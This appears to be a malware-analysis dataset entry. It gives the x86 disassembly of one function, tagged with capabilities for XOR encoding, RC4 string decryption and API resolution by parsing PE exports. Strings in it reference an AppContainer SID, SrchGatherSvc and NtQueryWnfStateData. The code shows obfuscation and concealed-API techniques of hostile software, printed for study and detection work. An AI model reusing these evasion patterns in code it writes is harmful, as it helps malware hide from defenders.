Function at 0x41f00a
Capabilities:
Encode data using xor
Encrypt data using rc4 ksa
Resolve function by parsing pe exports

Disassembly:
push ebp
mov ebp, esp
and esp, 0xfffffff8
sub esp, 0x59c
push ebx
push esi
push edi
mov dword [esp + 0x140], ecx
lea edi, [esp + 0x90]
push 8
pop ecx
mov esi, 0x42d634
mov dword [esp + 0x144], edx
rep movsd dword es:[edi], dword [esi]
mov dword [esp + 0x48], 0x2fc4dddb
mov dword [esp + 0x4c], 0x578ba2e2
mov dword [esp + 0x50], 0x6ac9e5be
movsw word es:[edi], word [esi]
xor edi, edi
mov dword [esp + 0x54], 0x8835e983
mov dword [esp + 0x58], 0xb5e75b0c
xor eax, eax
mov dword [esp + 0x5c], 0x5f9e6bc0
mov dword [esp + 0x60], 0x6d646857
mov dword [esp + 0x64], 0xfbe389d4
mov dword [esp + 0x68], 0xf764e919
mov dword [esp + 0x6c], 0x1ac35ccb
mov dword [esp + 0x70], 0xdf525f4f
mov dword [esp + 0x74], 0xe464be4
mov dword [esp + 0x78], 0xeb36f519
mov dword [esp + 0x7c], 0x2f382cd3
mov dword [esp + 0x80], 0x5128bae9
mov dword [esp + 0x84], 0xcad62082
mov byte [esp + eax + 0x160], al
inc eax
cmp eax, 0x100
jb 0x41f0c4
push 0x21
xor esi, esi
pop ecx
xor edx, edx
mov bl, byte [esp + esi + 0x160]
mov eax, esi
div ecx
movzx ecx, bl
push 0x21
movzx eax, byte [esp + edx + 0x94]
add eax, edi
add ecx, eax
movzx edi, cl
pop ecx
mov al, byte [esp + edi + 0x160]
mov byte [esp + esi + 0x160], al
inc esi
mov byte [esp + edi + 0x160], bl
cmp esi, 0x100
jb 0x41f0d8
mov al, byte [str.threadId]
xor ecx, ecx
mov byte [esp + 0x13], al
xor esi, esi
mov eax, dword [0x4359c0]
and dword [esp + 0x18], ecx
mov dword [esp + 0x14], eax
lea eax, [ecx + 1]
movzx ebx, al
mov dword [esp + 0xec], ebx
mov cl, byte [esp + ebx + 0x160]
movzx edx, cl
lea eax, [edx + esi]
movzx esi, al
mov dword [esp + 0x88], esi
mov al, byte [esp + esi + 0x160]
mov byte [esp + ebx + 0x160], al
mov byte [esp + esi + 0x160], cl
movzx eax, byte [esp + ebx + 0x160]
add eax, edx
movzx eax, al
mov al, byte [esp + eax + 0x160]
mov byte [esp + 0x12], al
call fcn.0041eb1b
mov al, byte [esp + 0x13]
lea edi, [esp + 0x260]
push 0x15
pop ecx
mov esi, str.S_1_15_2_1861897761_1695161497_2927542615_642690995_327840285_2659745135_2630312742
xor ebx, ebx
rep movsd dword es:[edi], dword [esi]
cmp al, byte [esp + 0x260]
jne 0x41f1d0
test al, al
je 0x41f1d0
cmp byte [esp + ebx + 0x260], 0
je 0x41f1d0
mov ecx, 0x42d840
call fcn.0041ed8a
mov al, byte [ebx + 0x4359e1]
inc ebx
cmp al, byte [esp + ebx + 0x260]
je 0x41f1a8
call fcn.0041ef64
mov eax, dword [esp + 0xe8]
mov edx, dword [esp + 0x14]
cmp eax, ebx
jae 0x41f207
cmp eax, 0x1714
jne 0x41f1f1
imul edx, edx, 0x903841a3
xor edx, 0x8e576654
inc eax
cmp eax, ebx
jb 0x41f1e4
mov dword [esp + 0x14], edx
mov dword [esp + 0xe8], eax
mov ecx, dword [esp + 0x18]
mov esi, dword [esp + 0x88]
mov al, byte [esp + ecx + 0x48]
xor al, byte [esp + 0x12]
mov byte [esp + ecx + 0x318], al
inc ecx
mov dword [esp + 0x18], ecx
cmp ecx, 0x40
mov ecx, dword [esp + 0xec]
jb 0x41f132
mov esi, 0x42e844
mov byte [esp + 0x358], 0
lea edi, [esp + 0x120]
mov dword [esp + 0x48], 0xd03d4f21
mov dword [esp + 0x4c], 0x6ccdbe46
mov dword [esp + 0x50], 0x454519d8
movsd dword es:[edi], dword [esi]
mov dword [esp + 0x54], 0x5804a35f
mov dword [esp + 0x58], 0x8585995
mov dword [esp + 0x5c], 0x8d2a023e
movsd dword es:[edi], dword [esi]
mov dword [esp + 0x60], 0x78f18927
mov dword [esp + 0x64], 0x87bac032
mov dword [esp + 0x68], 0x541df1ee
movsd dword es:[edi], dword [esi]
xor edi, edi
mov dword [esp + 0x6c], 0x64ef0f89
mov dword [esp + 0x70], 0x5df5a658
xor eax, eax
mov dword [esp + 0x74], 0x9c3e4c5d
mov dword [esp + 0x78], 0xdebddd66
mov dword [esp + 0x7c], 0xc8134d38
mov dword [esp + 0x80], 0xbb6f19d2
mov dword [esp + 0x84], 0x243a786d
mov byte [esp + eax + 0x160], al
inc eax
cmp eax, 0x100
jb 0x41f2d7
imul eax, edx, 0x4e84760c
xor esi, esi
push 0xb
pop ecx
mov dword [esp + 0x14], eax
xor edx, edx
mov bl, byte [esp + esi + 0x160]
mov eax, esi
div ecx
movzx ecx, bl
push 0xb
movzx eax, byte [esp + edx + 0x124]
add eax, edi
add ecx, eax
movzx edi, cl
pop ecx
mov al, byte [esp + edi + 0x160]
mov byte [esp + esi + 0x160], al
inc esi
mov byte [esp + edi + 0x160], bl
cmp esi, 0x100
jb 0x41f2f5
xor ebx, ebx
xor edi, edi
xor esi, esi
lea eax, [edi + 1]
movzx edi, al
mov cl, byte [esp + edi + 0x160]
movzx edx, cl
lea eax, [ebx + edx]
movzx ebx, al
mov al, byte [esp + ebx + 0x160]
mov byte [esp + edi + 0x160], al
mov byte [esp + ebx + 0x160], cl
movzx eax, byte [esp + edi + 0x160]
add eax, edx
movzx eax, al
mov al, byte [esp + eax + 0x160]
xor al, byte [esp + esi + 0x48]
mov byte [esp + esi + 0x360], al
inc esi
cmp esi, 0x40
jb 0x41f33b
push 5
pop eax
mov ecx, eax
mov dword [esp + 0x90], 0x3000db92
mov esi, 0x42cba8
mov dword [esp + 0x94], 0xbb584782
lea edi, [esp + 0x148]
mov dword [esp + 0x98], 0x131cd89f
rep movsd dword es:[edi], dword [esi]
xor ebx, ebx
mov dword [esp + 0x9c], 0xa643bd10
mov byte [esp + 0x3a0], bl
mov dword [esp + 0xa0], 0x4a256e40
mov dword [esp + 0xa4], 0xdf973bed
mov dword [esp + 0xa8], 0xc265d5b6
mov dword [esp + 0xac], 0x27b23a01
mov dword [esp + 0xb0], 0xb7dbbfd
mov dword [esp + 0xb4], 0x5977004d
mov dword [esp + 0xb8], 0x4fe219f1
movsb byte es:[edi], byte [esi]
mov dword [esp + 0x18], ebx
call fcn.0041ecc3
mov al, byte [esp + 0x13]
lea edi, [esp + 0xf0]
push 6
pop ecx
mov esi, 0x42c600
rep movsd dword es:[edi], dword [esi]
cmp al, byte [esp + 0xf0]
jne 0x41f48a
test al, al
je 0x41f46b
cmp byte [esp + ebx + 0xf0], 0
je 0x41f46b
call fcn.0041ef64
mov al, byte [ebx + 0x4359e1]
inc ebx
cmp al, byte [esp + ebx + 0xf0]
je 0x41f448
cmp dword [esp + 0x88], ebx
jae 0x41f48a
sub ebx, dword [esp + 0x88]
mov ecx, 0x42f200
call fcn.0041ed8a
sub ebx, 1
jne 0x41f47b
xor eax, eax
mov edi, 0x100
mov byte [esp + eax + 0x160], al
inc eax
cmp eax, edi
jb 0x41f491
push 0x14
xor esi, esi
pop ecx
xor edx, edx
mov bl, byte [esp + esi + 0x160]
mov eax, esi
div ecx
movzx ecx, bl
push 0x14
movzx eax, byte [esp + edx + 0x14c]
add eax, dword [esp + 0x1c]
add ecx, eax
movzx ecx, cl
mov dword [esp + 0x1c], ecx
mov al, byte [esp + ecx + 0x164]
mov byte [esp + esi + 0x164], al
inc esi
mov byte [esp + ecx + 0x164], bl
pop ecx
cmp esi, edi
jb 0x41f4a2
xor ebx, ebx
xor edi, edi
xor esi, esi
lea eax, [edi + 1]
movzx edi, al
mov cl, byte [esp + edi + 0x160]
movzx edx, cl
lea eax, [ebx + edx]
movzx ebx, al
mov al, byte [esp + ebx + 0x160]
mov byte [esp + edi + 0x160], al
mov byte [esp + ebx + 0x160], cl
movzx eax, byte [esp + edi + 0x160]
add eax, edx
movzx eax, al
mov al, byte [esp + eax + 0x160]
xor al, byte [esp + esi + 0x90]
mov byte [esp + esi + 0x2b8], al
inc esi
cmp esi, 0x2c
jb 0x41f4ea
push 5
pop eax
mov ecx, eax
mov byte [esp + 0x2e4], 0
mov esi, 0x42ceb0
mov dword [esp + 0xf0], 0xfdead5a0
lea edi, [esp + 0x148]
mov dword [esp + 0xf4], 0xf48b5c7c
rep movsd dword es:[edi], dword [esi]
mov dword [esp + 0xf8], 0x5fe5b1b1
mov dword [esp + 0xfc], 0x5a5db746
mov dword [esp + 0x100], 0x649afdb0
movsb byte es:[edi], byte [esi]
xor edi, edi
mov dword [esp + 0x104], 0x64dc7adb
xor eax, eax
mov byte [esp + eax + 0x160], al
inc eax
cmp eax, 0x100
jb 0x41f59f
xor esi, esi
xor edx, edx
mov bl, byte [esp + esi + 0x160]
push 0x14
mov eax, esi
pop ecx
div ecx
movzx ecx, bl
movzx eax, byte [esp + edx + 0x148]
add eax, edi
add ecx, eax
movzx edi, cl
mov al, byte [esp + edi + 0x160]
mov byte [esp + esi + 0x160], al
inc esi
mov byte [esp + edi + 0x160], bl
cmp esi, 0x100
jb 0x41f5b0
xor ebx, ebx
xor edi, edi
xor esi, esi
lea eax, [edi + 1]
movzx edi, al
mov cl, byte [esp + edi + 0x160]
movzx edx, cl
lea eax, [ebx + edx]
movzx ebx, al
mov al, byte [esp + ebx + 0x160]
mov byte [esp + edi + 0x160], al
mov byte [esp + ebx + 0x160], cl
movzx eax, byte [esp + edi + 0x160]
add eax, edx
movzx eax, al
mov al, byte [esp + eax + 0x160]
xor al, byte [esp + esi + 0xf0]
mov byte [esp + esi + 0x90], al
inc esi
cmp esi, 0x18
jb 0x41f5f6
mov ebx, dword [esp + 0x14]
lea edi, [esp + 0x120]
mov esi, 0x42c100
mov byte [esp + 0xa8], 0
add ebx, 0x3a50049b
mov dword [esp + 0x1c], 0x9ea9f6ff
mov dword [esp + 0x20], 0xa798329f
mov dword [esp + 0x24], 0x8da2bf6a
movsd dword es:[edi], dword [esi]
mov dword [esp + 0x28], 0x3c13eb94
mov dword [esp + 0x2c], 0xf2493c6e
mov dword [esp + 0x30], 0x36d7fbff
movsd dword es:[edi], dword [esi]
mov dword [esp + 0x34], 0x1e5fd56
mov dword [esp + 0x38], 0x1ac5e18e
mov dword [esp + 0x3c], 0x6ed7eedc
movsb byte es:[edi], byte [esi]
xor edi, edi
mov dword [esp + 0x40], 0xd727fab7
mov dword [esp + 0x44], 0x57f49704
xor eax, eax
mov byte [esp + eax + 0x160], al
inc eax
cmp eax, 0x100
jb 0x41f6c6
xor esi, esi
mov dl, byte [esp + esi + 0x160]
mov eax, esi
and eax, 7
movzx ecx, dl
and ebx, 0x5e1bc686
movzx eax, byte [esp + eax + 0x120]
add eax, edi
add ecx, eax
movzx edi, cl
mov al, byte [esp + edi + 0x160]
mov byte [esp + esi + 0x160], al
inc esi
mov byte [esp + edi + 0x160], dl
cmp esi, 0x100
jb 0x41f6d7
mov dword [0x4359a4], ebx
xor edi, edi
xor ebx, ebx
xor esi, esi
lea eax, [edi + 1]
movzx edi, al
mov cl, byte [esp + edi + 0x160]
movzx edx, cl
lea eax, [ebx + edx]
movzx ebx, al
mov al, byte [esp + ebx + 0x160]
mov byte [esp + edi + 0x160], al
mov byte [esp + ebx + 0x160], cl
movzx eax, byte [esp + edi + 0x160]
add eax, edx
movzx eax, al
mov al, byte [esp + eax + 0x160]
xor al, byte [esp + esi + 0x1c]
mov byte [esp + esi + 0x2e8], al
inc esi
cmp esi, 0x2c
jb 0x41f725
mov eax, dword [str.https]
xor edi, edi
mov dword [esp + 0x88], eax
mov ax, word [0x431c28]
mov word [esp + 0x8c], ax
mov eax, dword [esp + 0x14]
push 5
or eax, 0xca5e65ed
mov byte [esp + 0x318], 0
pop ecx
mov dword [0x4359c0], eax
xor eax, eax
mov dword [esp + 0x1c], 0x9abe8149
mov dword [esp + 0x20], 0xd687183a
mov dword [esp + 0x24], 0xf3ac64f2
mov dword [esp + 0x28], 0x2210412c
mov dword [esp + 0x2c], 0x75b696cf
mov dword [esp + 0x30], 0xbaf7d698
mov dword [esp + 0x34], 0xa3e12079
mov dword [esp + 0x38], 0x43b33a1e
mov byte [esp + 0x3c], cl
mov dword [esp + 0x3d], 0x35b3d482
mov dword [esp + 0x41], 0xf95e3867
mov word [esp + 0x45], 0xa37
mov byte [esp + 0x47], 0x1b
mov byte [esp + eax + 0x160], al
inc eax
cmp eax, 0x100
jb 0x41f80c
xor esi, esi
xor edx, edx
mov bl, byte [esp + esi + 0x160]
mov eax, esi
div ecx
movzx ecx, bl
push 5
movzx eax, byte [esp + edx + 0x8c]
add eax, edi
add ecx, eax
movzx edi, cl
pop ecx
mov al, byte [esp + edi + 0x160]
mov byte [esp + esi + 0x160], al
inc esi
mov byte [esp + edi + 0x160], bl
cmp esi, 0x100
jb 0x41f81d
xor ebx, ebx
xor edi, edi
xor esi, esi
lea eax, [edi + 1]
movzx edi, al
mov cl, byte [esp + edi + 0x160]
movzx edx, cl
lea eax, [ebx + edx]
movzx ebx, al
mov al, byte [esp + ebx + 0x160]
mov byte [esp + edi + 0x160], al
mov byte [esp + ebx + 0x160], cl
movzx eax, byte [esp + edi + 0x160]
add eax, edx
movzx eax, al
mov al, byte [esp + eax + 0x160]
xor al, byte [esp + esi + 0x1c]
mov byte [esp + esi + 0x48], al
inc esi
cmp esi, 0x2c
jb 0x41f863
xor ebx, ebx
cmp dword [ebp + 8], 1
mov byte [esp + 0x74], bl
mov dword [esp + 0x14], ebx
jne 0x41f8d9
mov ecx, dword [ebp + 0xc]
call fcn.0041c2f3
mov dword [esp + 0x14], eax
cmp eax, 0xffffffff
jne 0x41f8d9
push 3
pop eax
jmp 0x41fd7d
push 0x10
lea eax, [esp + 0x134]
mov dword [esp + 0x1c], ebx
push ebx
push eax
call fcn.0040b587
push 0x48
lea eax, [esp + 0x270]
push ebx
push eax
call fcn.0040b587
add esp, 0x18
lea eax, [esp + 0x18]
xor ecx, ecx
lea edx, [esp + 0x318]
inc ecx
push eax
push ebx
push 2
push ebx
call fcn.0040a2e6
call eax
mov ecx, dword [esp + 0x18]
call fcn.0040a2a8
lea ecx, [esp + 0x18]
mov dword [esp + 0x2a4], eax
push ecx
push ebx
xor ecx, ecx
lea edx, [esp + 0x368]
push 2
push eax
inc ecx
call fcn.0040a2e6
call eax
push ebx
push ebx
push 8
lea eax, [esp + 0x12c]
mov dword [esp + 0x12c], ebx
push eax
push 0x20007
push ebx
push dword [esp + 0x2bc]
xor ecx, ecx
mov dword [esp + 0x140], 0x1000
lea edx, [esp + 0x2d4]
inc ecx
call fcn.0040a2e6
call eax
cmp dword [ebp + 8], 1
jne 0x41fbe2
mov esi, 0x42c554
mov ebx, dword [0x4359c0]
lea edi, [esp + 0xf0]
mov dword [esp + 0xbc], 0xe0ccf675
and ebx, 0xa855f730
mov dword [esp + 0xc0], 0x9de05747
xor ecx, ecx
mov dword [0x4359c0], ebx
movsd dword es:[edi], dword [esi]
mov dword [esp + 0xc4], 0xd69a0055
mov dword [esp + 0xc8], 0xc617f1b0
mov dword [esp + 0xcc], 0x9fc3f9d2
movsd dword es:[edi], dword [esi]
mov dword [esp + 0xd0], 0xc00b5fb1
mov dword [esp + 0xd4], 0x3a663cb4
mov dword [esp + 0xd8], 0x6da25031
movsd dword es:[edi], dword [esi]
mov dword [esp + 0xdc], 0x52d5ce78
mov dword [esp + 0xe0], 0xc4e0933
mov dword [esp + 0xe4], 0x20c5166
movsd dword es:[edi], dword [esi]
movsw word es:[edi], word [esi]
mov esi, 0x430854
lea edi, [esp + 0x148]
movsd dword es:[edi], dword [esi]
movsd dword es:[edi], dword [esi]
movsd dword es:[edi], dword [esi]
movsd dword es:[edi], dword [esi]
movsw word es:[edi], word [esi]
movsb byte es:[edi], byte [esi]
cmp byte [esp + 0x148], 0x53
jne 0x41fa66
mov al, 0x53
test al, al
je 0x41fa66
cmp byte [esp + ecx + 0x148], 0
je 0x41fa66
mov al, byte [ecx + 0x431ced]
inc ecx
cmp al, byte [esp + ecx + 0x148]
je 0x41fa48
movzx eax, byte [esp + ecx + 0x148]
movzx ecx, byte [ecx + str.SrchGatherSvc]
sub ecx, eax
cmp ecx, 0x3d4
jne 0x41fa8d
mov ebx, dword [0x4359a4]
xor ebx, 0xec3e2cb7
jmp 0x41fa93
or ebx, 0x6232f84c
xor edi, edi
mov dword [0x4359a4], ebx
xor eax, eax
mov byte [esp + eax + 0x160], al
inc eax
cmp eax, 0x100
jb 0x41fa9d
xor esi, esi
xor edx, edx
mov dword [esp + 0x88], 0x11
mov eax, esi
mov cl, byte [esp + esi + 0x160]
div dword [esp + 0x88]
mov byte [esp + 0x12], cl
movzx ecx, cl
movzx eax, byte [esp + edx + 0xf0]
add eax, edi
add ecx, eax
xor edi, edi
movzx eax, cl
mov dword [esp + 0x88], eax
push ecx
push ecx
call fcn.0041ea3e
and ebx, 0xd6f6b3d
inc edi
pop ecx
pop ecx
mov dword [0x4359a4], ebx
cmp byte [edi + str.SrchGatherSvc], 0
jne 0x41faea
cmp edi, 0x60
jne 0x41fb17
mov eax, ebx
xor eax, 0xcdf757a1
jmp 0x41fb27
mov ecx, str.NtQueryWnfStateData
call fcn.0041ed8a
imul eax, ebx, 0x97693e3d
mov edi, dword [esp + 0x88]
mov dword [0x4359c0], eax
mov al, byte [esp + edi + 0x160]
mov byte [esp + esi + 0x160], al
inc esi
mov al, byte [esp + 0x12]
mov byte [esp + edi + 0x160], al
cmp esi, 0x100
jb 0x41faae
xor ebx, ebx
xor edi, edi
xor esi, esi
lea eax, [edi + 1]
movzx edi, al
mov cl, byte [esp + edi + 0x160]
movzx edx, cl
lea eax, [ebx + edx]
movzx ebx, al
mov al, byte [esp + ebx + 0x160]
mov byte [esp + edi + 0x160], al
mov byte [esp + ebx + 0x160], cl
movzx eax, byte [esp + edi + 0x160]
add eax, edx
movzx eax, al
mov al, byte [esp + eax + 0x160]
xor al, byte [esp + esi + 0xbc]
mov byte [esp + esi + 0xf0], al
inc esi
cmp esi, 0x2c
jb 0x41fb5f
xor ebx, ebx
lea eax, [esp + 0x14]
push ebx
push ebx
push 4
push eax
push 0x20000
push ebx
push dword [esp + 0x2bc]
xor ecx, ecx
mov byte [esp + 0x138], bl
lea edx, [esp + 0x10c]
inc ecx
call fcn.0040a2e6
call eax
mov eax, dword [0x4359a4]
lea edx, [esp + 0x90]
add eax, 0xca9020a0
mov dword [esp + 0x260], 0x48
mov dword [0x4359c0], eax
xor ecx, ecx
xor eax, eax
mov dword [esp + 0x28c], 0x80001
mov word [esp + 0x290], ax
inc ecx
lea eax, [esp + 0x130]
push eax
lea eax, [esp + 0x264]
push eax
push ebx
push ebx
push 0x808000c
push 1
push ebx
push ebx
push ebx
push dword [esp + 0x164]
call fcn.0040a2e6
call eax
test eax, eax
jne 0x41fc6c
mov ecx, dword [esp + 0x2a4]
call fcn.0040a2d2
cmp dword [ebp + 8], 1
jne 0x41fc65
push dword [esp + 0x14]
call fcn.0042b9ff
pop ecx
push 5
jmp 0x41f8d3
push dword [esp + 0x2a4]
xor ecx, ecx
lea edx, [esp + 0x2ec]
inc ecx
call fcn.0040a2e6
call eax
mov ecx, dword [esp + 0x2a4]
call fcn.0040a2d2
cmp dword [ebp + 8], 1
jne 0x41fca0
push dword [esp + 0x14]
call fcn.0042b9ff
pop ecx
push ebx
push 0x18
lea eax, [esp + 0x24]
push eax
push ebx
push dword [esp + 0x140]
call fcn.0042b9e1
lea eax, [esp + 0xfc]
push eax
push 4
lea eax, [esp + 0x108]
push eax
mov eax, dword [esp + 0x40]
add eax, 8
push eax
push dword [esp + 0x154]
call fcn.0042b9c3
mov edi, dword [esp + 0x114]
lea eax, [esp + 0x110]
push eax
push 0x200
lea eax, [esp + 0x3d8]
push eax
push edi
push dword [esp + 0x168]
call fcn.0042b9c3
mov eax, dword [esp + 0x420]
add esp, 0x3c
mov ebx, dword [esp + 0x144]
mov ecx, ebx
mov esi, dword [esp + eax + 0x3d0]
add esi, edi
call fcn.0040b8e6
mov edx, eax
call fcn.0041b5fe
push 0
push eax
push ebx
push esi
push dword [esp + 0x140]
xor ecx, ecx
lea edx, [esp + 0x5c]
inc ecx
call fcn.0040a2e6
call eax
push 0
push dword [esp + 0x138]
call fcn.0042b9a5
pop ecx
pop ecx
test eax, eax
je 0x41fd61
push 0xb
jmp 0x41f8d3
push dword [esp + 0x130]
call fcn.0042b9ff
push dword [esp + 0x138]
call fcn.0042b9ff
pop ecx
pop ecx
xor eax, eax
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret